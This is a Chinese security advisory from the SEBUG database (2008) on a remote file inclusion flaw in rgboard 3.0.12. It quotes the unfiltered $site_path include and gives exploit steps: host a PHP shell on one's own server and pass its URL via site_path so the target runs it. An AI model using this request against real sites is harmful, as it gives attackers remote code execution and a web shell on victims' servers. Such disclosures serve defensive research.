rgboard 3.0.12 远程文件包含漏洞

SBEUGID:SEBUGV2008053269
发布时间:2008-05-07
受影响版本:
rgboard 3.0.12
描述:
rgboard 3.0.12 是韩国的一个论坛程序,可以用google搜索rgboard查看使用的网站
vul code:
\include\bbs.lib.inc.php:
if (!defined('BBS_LIB_INC_INCLUDED')) {
define('BBS_LIB_INC_INCLUDED', 1);
// *-- BBS_LIB_INC_INCLUDED START --*
if(!$site_path) $site_path='./';
require_once "{$site_path}include/lib.inc.php";
//$site_path没有过滤直接放过来包含了
<* 参考:
Flyh4t[w.s.t]
*>
测试方法:
[www.sebug.net]
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用.风险自负!

在你的网站放个phpshell,目录和文件名为/include/lib.inc.php
然后访问
httP://www.target.com/include/bbs.lib.inc.php?site_path=http://yousite/
建议:
httP://www.target.com
// Sebug.net [ 2008-05-07 ]

本安全信息由SEBUG翻译整理,版权所有,未经许可,不得转载

提交信息 | 本站声明 | 帮助 | 论坛 | 合作伙伴
Copyright © SEBUG Security Database 2006  All rights Reserved.
鄂ICP备05024839号